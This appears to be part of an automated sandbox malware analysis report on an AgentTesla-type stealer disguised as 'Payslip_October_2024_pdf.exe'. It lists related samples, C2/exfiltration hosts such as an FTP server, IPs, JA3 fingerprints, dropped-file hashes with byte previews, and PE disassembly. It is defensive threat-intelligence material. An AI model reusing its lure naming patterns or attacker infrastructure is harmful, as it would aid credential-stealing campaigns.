	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	V7FWuG5Lct.exe	Get hash	malicious	Quasar	Browse	172.67.74.152
	7ll96oOSBF.exe	Get hash	malicious	Quasar	Browse	104.26.12.205
	Payload 94.75 (4).225.exe	Get hash	malicious	Kronos, Strela Stealer	Browse	104.26.12.205
	Ordine d'acquisto OI16014 e OI1601.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://v90hdblg6c012.b-cdn.net/ppo45-fill-captch.html	Get hash	malicious	LummaC	Browse	104.26.12.205
	SecuriteInfo.com.Win32.Malware-gen.1695.31617.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	8RuktpEZ8Q.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	SecuriteInfo.com.Win64.CrypterX-gen.2448.5331.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	SecuriteInfo.com.Win64.CrypterX-gen.23557.8276.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	SecuriteInfo.com.Win64.PWSX-gen.1991.8598.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
ftp.haliza.com.my	Payslip_October_2024.pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	rMT103_126021720924.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	z1Transaction_ID_REF2418_cmd.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	110.4.45.197
	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	110.4.45.197
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	110.4.45.197
	z14Employee_Contract_pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	DHL_Shipment_Details_8th_October.pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	z92BankPayment38_735.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	Bank Payment $38,735.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EXABYTES-AS-APExaBytesNetworkSdnBhdMY	Txwd 4063517991 djxjdlxmbk.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	103.6.199.200
	Payslip_October_2024.pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	rMT103_126021720924.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	z1Transaction_ID_REF2418_cmd.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	110.4.45.197
	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	110.4.45.197
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	110.4.45.197
	z14Employee_Contract_pdf.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla	Browse	110.4.45.197
	na.elf	Get hash	malicious	Mirai	Browse	203.142.6.25
	05NN8zSK04.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.6.198.178
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	https://www.bing.com/ck/a?!&&p=1e0efd6506210b14dc50df6db1269046d1b674a947208352fc5ca1a6477c7b35JmltdHM9MTczMDQxOTIwMA&ptn=3&ver=2&hsh=4&fclid=155f8875-a60a-6e0e-1237-9d6ba7b16ff2&psq=goldsmithsucu.org&u=a1aHR0cHM6Ly9nb2xkc21pdGhzdWN1Lm9yZy9leGVjdXRpdmUtY29tbWl0dGVlLw&ntb=1	Get hash	malicious	Unknown	Browse	104.21.6.209
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	V7FWuG5Lct.exe	Get hash	malicious	Quasar	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	V7FWuG5Lct.exe	Get hash	malicious	Quasar	Browse	104.26.13.205
	7ll96oOSBF.exe	Get hash	malicious	Quasar	Browse	104.26.13.205
	Payload 94.75 (4).225.exe	Get hash	malicious	Kronos, Strela Stealer	Browse	104.26.13.205
	VsXpA6fSbk.js	Get hash	malicious	Unknown	Browse	104.26.13.205
	VsXpA6fSbk.js	Get hash	malicious	Unknown	Browse	104.26.13.205
	lDPmx9XNXu.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	lDPmx9XNXu.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	Request For Quotation RFQ1310.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.26.13.205
	Quote.exe	Get hash	malicious	MassLogger RAT	Browse	104.26.13.205
	Ordine d'acquisto OI16014 e OI1601.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Payslip_October_2024.pdf.exe	Get hash	malicious	AgentTesla	Browse
	Massive.exe	Get hash	malicious	AgentTesla	Browse
	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	9348000 EDT8 EDQ-905.pdf.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse
	New_Order_568330_Material_Specifications.exe	Get hash	malicious	AgentTesla, MassLogger RAT, Phoenix Stealer, RedLine, SugarDump, XWorm	Browse
	Dokument_2024-10-24_135211.exe	Get hash	malicious	XWorm	Browse
	z14Employee_Contract_pdf.exe	Get hash	malicious	AgentTesla	Browse
	purchase order.exe	Get hash	malicious	XWorm	Browse
	M.BL CSLEBKK2311030B.exe	Get hash	malicious	AgentTesla	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\sgxIb.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	142
Entropy (8bit):	5.090621108356562
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUC7WglAFXMWA2yTMGfsbNRLFS9Am12MFuAvOAsDeieVyn:Q3La/xwczlAFXMWTyAGCDLIP12MUAvvw
MD5:	8C0458BB9EA02D50565175E38D577E35
SHA1:	F0B50702CD6470F3C17D637908F83212FDBDB2F2
SHA-256:	C578E86DB701B9AFA3626E804CF434F9D32272FF59FB32FA9A51835E5A148B53
SHA-512:	804A47494D9A462FFA6F39759480700ECBE5A7F3A15EC3A6330176ED9C04695D2684BF6BF85AB86286D52E7B727436D0BB2E8DA96E20D47740B5CE3F856B5D0F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Temp\Hymenophyllaceae

Download File

Process:	C:\Users\user\Desktop\Payslip_October_2024_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	247808
Entropy (8bit):	6.593522272161814
Encrypted:	false
SSDEEP:	6144:NL7BlKuUiMR2sjQKyur08nduiuNkZZY2JJdWQfChMp:RKuUR22Qby7awY2JJsQfjp
MD5:	FCD81729D3071AA4CC13458527164E17
SHA1:	6976514B16DCE09C6B7A7F4B1DBEC57626069DE0
SHA-256:	280AFFD9DBAA6337F928A82D5AFC3858C016AD7E2397FD6C1288998C30379106
SHA-512:	0A4872730939064F55BC6131077B2C80729866AB5E45CB4AC30B0B38FDEA1C5E64FFCCEA79A32129AA66C8C1E51B32FA33CA821561E81C36898AEEA9A061612B
Malicious:	false
Reputation:	low
Preview:	.h.BKZM4MVPM..EM.27BHZM4.VPMVLEMJ27BHZM4IVPMVLEMJ27BHZM4IVPM.LEMD-.LH.D.h.Q..m.%#A.2:5F(;p.7"+">.U'h(8Zi?>m...m']S'fW@>mVPMVLEM.w7B.[N4v\8+VLEMJ27B.ZO5BW[MV.FMJ:7BHZM4w.SMVlEMJ.4BHZ.4IvPMVNEMN27BHZM4MVPMVLEMJ.3BHXM4IVPMTL..J2'BHJM4IV@MV\EMJ27BXZM4IVPMVLEM..4B.ZM4I.SM.IEMJ27BHZM4IVPMVLEMJ23BDZM4IVPMVLEMJ27BHZM4IVPMVLEMJ27BHZM4IVPMVLEMJ27BHZM4IvPM^LEMJ27BHZM4AvPM.LEMJ27BHZM4g"55"LEM..4BHzM4I.SMVNEMJ27BHZM4IVPMvLE-d@D0+ZM4.SPMV.FMJ47BH.N4IVPMVLEMJ27B.ZMtg$5!9/EMF27BHZI4ITPMV.FMJ27BHZM4IVPM.LE.J27BHZM4IVPMVLEMj.4BHZM4.VPMTL@M..5B\|`L4JVPMWLEKJ27BHZM4IVPMVLEMJ27BHZM4IVPMVLEMJ27BHZM4IVPMVLEMW........+nG4K.k.U.A..^../..Y.P.1&....@....q9C..2.Mx...@...9.EOK6...q6[<X$.:e=V.U..h.kq9...K$.M...3..8Vi.e.........;=....8..)]Zl)=X,x.,0-7$.0.CHZM4........#J\|.eYB*}D(....~ O....7VPM2LEM827B)ZM4.VPM9LEM$27B6ZM47VPM.LEM.27B.ZM4lVPM;LEMn27B6ZM4.+_B...$9..BHZM4\|..}.!...m.u...8...4t...V....Hg.Y8.!.....9..1..^.;Ku..JK43GJ]I7Ek^....lH63GJ]I7Ek^....l....q..8...6.1J27BHZ.4I.PMV..M.27B.Z.4..PMV.M.2.B...4

C:\Users\user\AppData\Local\Temp\aut65FB.tmp

Download File

Process:	C:\Users\user\Desktop\Payslip_October_2024_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	147848
Entropy (8bit):	7.746158111293982
Encrypted:	false
SSDEEP:	3072:7aatt9pV52FuV09Gs6O4UnMoYftaA9HRkhLo7mVpg43EMwYAhMiKDw:btLpeF0bsf4UyUgkhDjwlhMi5
MD5:	F1F24A47830E45355A1E65067955A01B
SHA1:	E3F47B573D165ABE6EF5BDDDD05457D9088F3399
SHA-256:	2627A92F94D4D5B1FD2EB7C31907AEFE4E88062B74682FFDAC7A5400E84C64A0
SHA-512:	C5ABC1E243ADBCDA2AAD7FC3043241C11BE201B2A9F31B3E4C201404A5C5D7FB3CEC92AEBFD5A90C99FFE2BA1D0D051E0A2B4C9A82EFEAEBFE4862C548A5ADE7
Malicious:	false
Reputation:	low
Preview:	EA06......4.]j.4....N.M.L..@.......-6..!.H......(..m2..~m...7m..dt...u5.Q.....o"......(.V.3...%..[d....W.O.....]..(%n.4.W'....j+T....[..Tjmt...M.[......@..)7`...E..$3M...JgB.V.(1T.Ay.....H...4.mZ.......u...>. .t.$..... .P....@W..;A..#......Y......h.....S...=v.Qe.J..a+..!.0..X. M....8....V..K<.k!....0..I.Rj.......E..Xx...j...4....S.Y9...`.M)@..^.E..x...............y./1k.Uv...........6....zx.r....0.....t....t.8_...E..........s..-:..j.J.S.h...3....K.fi....g..N.}....E"..6..;..!.n<.U..kV.L.{X.^ r..o$..9.0..Q.......nGJ.F,.....D.F...V.. ..<\|...n..L.0....).0!.....@....`............. [......n. .W_.v?..$.;.....n...!.{...-...@...tZit.m.5l.'7..Y.5...C...}...y1....I......sI...].....Q...).`...s..a.=..q....n.....).'...s8.....sf....uM.L...Gk.4.N&2...9...y..CB.]....r.=.Wi.8....U6.....Y=&.Z..&q:mm....i...M.L......f....M.G..&SzD.p..U/..2.O.s&7*Ej.G.@)r.h.....&r....r..f3 ..;..M).J...W.F.{I..yI.A.z.B...RiV...........m.L..(..._.Tl.J.F.i.M..

C:\Users\user\AppData\Local\Temp\aut664A.tmp

Download File

Process:	C:\Users\user\Desktop\Payslip_October_2024_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	14626
Entropy (8bit):	7.628279387899238
Encrypted:	false
SSDEEP:	384:FTYznwBBBovI7dbhz2j6ovJO2CKLWGQfke:FAwrBoQphAvVCaWGQ8e
MD5:	94F1BCC63F338526EC63D6A485BBF2B9
SHA1:	DE119C631DB918053E24D6F77AE18C3F53C7117E
SHA-256:	D100FB43AE7C36ADC183FA18AA9CBC6B31A2D443253572358B8BDCB1906F5696
SHA-512:	782750092FE5D8819E46A18379A483B02B9D0D0E0C8F90B6E662363099B67D75CCE7741CDE17428BEB12551B65068ADAAA0C65942F4976A9D35D3A985E26ED07
Malicious:	false
Reputation:	low
Preview:	EA06..0...&.i..+x..f....... .V......71...@.x..L........`......8............`.......Z\|3@...@.........K.X@0.2.Z..Z>)..w.e....l !..m..;...\| !.....;....;.....l.;.0./.<.;...m..rd.....@->.....4....f.C.5..;.............r.....X.<>`.O..p.........!.........h.=..........<\|3.....c...h.. -...... ...X.Z?......(...(.G..4.h....x....M@N.......Z?.I.......N@R... ...5.(..,.._...k`........R...._.K..?d...B.... 7W.......n.../.~.....)...@...!K....h\|!._....ga._.5.1.....`v/.......NA...,...7.7.,..!6.b...Z?.K(-...0.h..&.._....' -.............-..........G.6.....d_.T......"....d_.(M..57....n.....`...L....K.L..6.s.A.?..L.......Bg>...w.36.... !...L...}....\|V.4..r......$............r..9....>.....2... ...b....`......k.(.....!`....,......V1`..f....X.>i.v'.3c.........G.4....E.?......9..X.......7...l.`..."...\.61*........f.....\|.`.O.......,`........nl,....C.`....p...Y......`....@n?..;g....0...d...l ...P.?'....}...........0...4.X...>y.....1......x...L.\.i.....)...@n?............b...@.>y...

C:\Users\user\AppData\Local\Temp\quinquenniad

Download File

Process:	C:\Users\user\Desktop\Payslip_October_2024_pdf.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	143378
Entropy (8bit):	2.839995272221263
Encrypted:	false
SSDEEP:	192:en/SvruYYXdqqWTConto9/W+PW5xoULoN/WtzWmPzNW/YKM2nRSn1Dq/M1WShL1o:W
MD5:	3FABDCBB34347304FBBBFBD5A93C88F5
SHA1:	555F7436B396917930D023D0928130B1DC8BE371
SHA-256:	8121B269549C6F19E161CBEB3F9EBA1D7A82D6938467666D7FE98F0C664A6E1E
SHA-512:	1E09C9591DAAC80A33C957D7346E715B79E949D24D9C914C6F2837AC1EBE1210A9612D3A98E0D6A1F431CC8FD8E7C6320C606F8D50A880AD392E50B87DEB0DE6
Malicious:	false
Reputation:	low
Preview:	gh5f0gh5fxgh5f5gh5f5gh5f8gh5fbgh5fegh5fcgh5f8gh5f1gh5fegh5fcgh5fcgh5fcgh5f0gh5f2gh5f0gh5f0gh5f0gh5f0gh5f5gh5f6gh5f5gh5f7gh5fbgh5f8gh5f6gh5fbgh5f0gh5f0gh5f0gh5f0gh5f0gh5f0gh5f6gh5f6gh5f8gh5f9gh5f4gh5f5gh5f8gh5f4gh5fbgh5f9gh5f6gh5f5gh5f0gh5f0gh5f0gh5f0gh5f0gh5f0gh5f6gh5f6gh5f8gh5f9gh5f4gh5fdgh5f8gh5f6gh5fbgh5fagh5f7gh5f2gh5f0gh5f0gh5f0gh5f0gh5f0gh5f0gh5f6gh5f6gh5f8gh5f9gh5f5gh5f5gh5f8gh5f8gh5fbgh5f8gh5f6gh5fegh5f0gh5f0gh5f0gh5f0gh5f0gh5f0gh5f6gh5f6gh5f8gh5f9gh5f4gh5f5gh5f8gh5fagh5fbgh5f9gh5f6gh5f5gh5f0gh5f0gh5f0gh5f0gh5f0gh5f0gh5f6gh5f6gh5f8gh5f9gh5f4gh5fdgh5f8gh5fcgh5fbgh5fagh5f6gh5fcgh5f0gh5f0gh5f0gh5f0gh5f0gh5f0gh5f6gh5f6gh5f8gh5f9gh5f5gh5f5gh5f8gh5fegh5fbgh5f8gh5f3gh5f3gh5f0gh5f0gh5f0gh5f0gh5f0gh5f0gh5f6gh5f6gh5f8gh5f9gh5f4gh5f5gh5f9gh5f0gh5fbgh5f9gh5f3gh5f2gh5f0gh5f0gh5f0gh5f0gh5f0gh5f0gh5f6gh5f6gh5f8gh5f9gh5f4gh5fdgh5f9gh5f2gh5fbgh5fagh5f2gh5fegh5f0gh5f0gh5f0gh5f0gh5f0gh5f0gh5f6gh5f6gh5f8gh5f9gh5f5gh5f5gh5f9gh5f4gh5fbgh5f8gh5f6gh5f4gh5f0gh5f0gh5f0gh5f0gh5f0gh5f0gh5f6gh5f6gh5f8gh5f9

C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	45984
Entropy (8bit):	6.16795797263964
Encrypted:	false
SSDEEP:	768:4BbSoy+SdIBf0k2dsjYg6Iq8S1GYqWH8BR:noOIBf0ddsjY/ZGyc7
MD5:	9D352BC46709F0CB5EC974633A0C3C94
SHA1:	1969771B2F022F9A86D77AC4D4D239BECDF08D07
SHA-256:	2C1EEB7097023C784C2BD040A2005A5070ED6F3A4ABF13929377A9E39FAB1390
SHA-512:	13C714244EC56BEEB202279E4109D59C2A43C3CF29F90A374A751C04FD472B45228CA5A0178F41109ED863DBD34E0879E4A21F5E38AE3D89559C57E6BE990A9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Payslip_October_2024.pdf.exe, Detection: malicious, Browse Filename: Massive.exe, Detection: malicious, Browse Filename: z20SWIFT_MT103_Payment_552016_pdf.exe, Detection: malicious, Browse Filename: Order Specifications for Materials.docx.exe, Detection: malicious, Browse Filename: 9348000 EDT8 EDQ-905.pdf.exe, Detection: malicious, Browse Filename: New_Order_568330_Material_Specifications.exe, Detection: malicious, Browse Filename: Dokument_2024-10-24_135211.exe, Detection: malicious, Browse Filename: z14Employee_Contract_pdf.exe, Detection: malicious, Browse Filename: purchase order.exe, Detection: malicious, Browse Filename: M.BL CSLEBKK2311030B.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0..d..........V.... ........@.. ..............................s.....`.....................................O.......8............r...A.......................................................... ............... ..H............text...\c... ...d.................. ..`.rsrc...8............f..............@..@.reloc...............p..............@..B................8.......H........+...S..........\|...P...........................................r...p(....2.(....(....z..r...p(....(....(......}......{.....s..........0..{...........Q.-.s.....+i~....o....(.....s.......o.....r!..p..(....Q.P,:.P.....(....o....o ........(....o!...o".....,..o#...t........0..(....... ....s$........o%....X..(....-...o&....0...........('......&.........................0...........(.......&.....*.................0............(.....(....~....,.(....~....o....9]...

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.442398121585593
Encrypted:	false
SSDEEP:	24:zKLXkhDObntKlglUEnfQtvNuNpKOK5aM9YJC:zKL0hDQntKKH1MqJC
MD5:	6FB4D27A716A8851BC0505666E7C7A10
SHA1:	AD2A232C6E709223532C4D1AB892303273D8C814
SHA-256:	1DC36F296CE49BDF1D560B527DB06E1E9791C10263459A67EACE706C6DDCDEAE
SHA-512:	3192095C68C6B7AD94212B7BCA0563F2058BCE00C0C439B90F0E96EA2F029A37C2F2B69487591B494C1BA54697FE891E214582E392127CB8C90AB682E0D81ADB
Malicious:	false
Preview:	Microsoft (R) .NET Framework Services Installation Utility Version 4.8.4084.0..Copyright (C) Microsoft Corporation. All rights reserved.....USAGE: regsvcs.exe [options] AssemblyName..Options:.. /? or /help Display this usage message... /fc Find or create target application (default)... /c Create target application, error if it already exists... /exapp Expect an existing application... /tlb:<tlbfile> Filename for the exported type library... /appname:<name> Use the specified name for the target application... /parname:<name> Use the specified name or id for the target partition... /extlb Use an existing type library... /reconfig Reconfigure existing target application (default)... /noreconfig Don't reconfigure existing target application... /u Uninstall target application... /nologo Suppress logo output... /quiet Suppress logo output and success output... /c

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.9557395199478105
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Payslip_October_2024_pdf.exe
File size:	1'317'888 bytes
MD5:	00d35f16da780121846ac5345e6fddd5
SHA1:	dc1610ef8a4f55cccf4ebabd3517b9b5706ff262
SHA256:	30f53c188f4ca288bab139778eb5426ee3db92ddc779c8df149b501334dd8dbb
SHA512:	87c4f25ac6c9db33b933d3873fba2212751707da4f31b20cfaa67e6bd5b6fb8d3a3a938deed44e5bfed7219070a1f09d7fc24cd1ed63c41302ed90a49e7d9aac
SSDEEP:	24576:pAHnh+eWsN3skA4RV1Hom2KXFmIa89tlB5Rg0V7kZ5:wh+ZkldoPK1Xa8/j5RgyG
TLSH:	6855BE026B9C9065FFAAA1339B25E22647787D65537384AF33D81D7B78742F1123E232
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	c58ee08c9594cd55

Static PE Info

General

Entrypoint:	0x42800a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6728039C [Sun Nov 3 23:13:32 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FF780E8231Dh
jmp 00007FF780E750D4h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FF780E7525Ah
cmp edi, eax
jc 00007FF780E755BEh
bt dword ptr [004C41FCh], 01h
jnc 00007FF780E75259h
rep movsb
jmp 00007FF780E7556Ch
cmp ecx, 00000080h
jc 00007FF780E75424h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FF780E75260h
bt dword ptr [004BF324h], 01h
jc 00007FF780E75730h
bt dword ptr [004C41FCh], 00000000h
jnc 00007FF780E753FDh
test edi, 00000003h
jne 00007FF780E7540Eh
test esi, 00000003h
jne 00007FF780E753EDh
bt edi, 02h
jnc 00007FF780E7525Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FF780E75263h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FF780E752B5h
bt esi, 03h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbc0cc	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc8000	0x77574	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x140000	0x7134	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4b50	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dfdd	0x8e000	310e36668512d53489c005622bb1b4a9	False	0.5735602580325704	data	6.675248351711057	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2fd8e	0x2fe00	f006ab74d3c653b5c5a6cc0c77a171a2	False	0.32829838446475196	data	5.7632462979925245	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbf000	0x8f74	0x5200	aae9601d920f07080bdfadf43dfeff12	False	0.1017530487804878	data	1.1963819235530628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc8000	0x77574	0x77600	ffcb9236380a978ace1986ad27d17d80	False	0.6692408376963351	data	7.204904665133997	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x140000	0x7134	0x7200	f04128ad0f87f42830e4a6cdbc38c719	False	0.7617530153508771	data	6.783955557128661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc8650	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.5150709219858156
RT_ICON	0xc8ab8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc8be0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.37682926829268293
RT_ICON	0xc9248	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.478494623655914
RT_ICON	0xc9530	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	Great Britain	0.514344262295082
RT_ICON	0xc9718	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.49324324324324326
RT_ICON	0xc9840	0x6ed1	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9985195107335472
RT_ICON	0xd0714	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.570362473347548
RT_ICON	0xd15bc	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.6430505415162455
RT_ICON	0xd1e64	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	Great Britain	0.5616359447004609
RT_ICON	0xd252c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.4125722543352601
RT_ICON	0xd2a94	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	Great Britain	0.13950668401750857
RT_ICON	0xe32bc	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	Great Britain	0.22774332562539415
RT_ICON	0xec764	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	English	Great Britain	0.23240601503759398
RT_ICON	0xf2f4c	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	Great Britain	0.25914972273567466
RT_ICON	0xf83d4	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	Great Britain	0.24728389230042513
RT_ICON	0xfc5fc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.3354771784232365
RT_ICON	0xfeba4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.3778142589118199
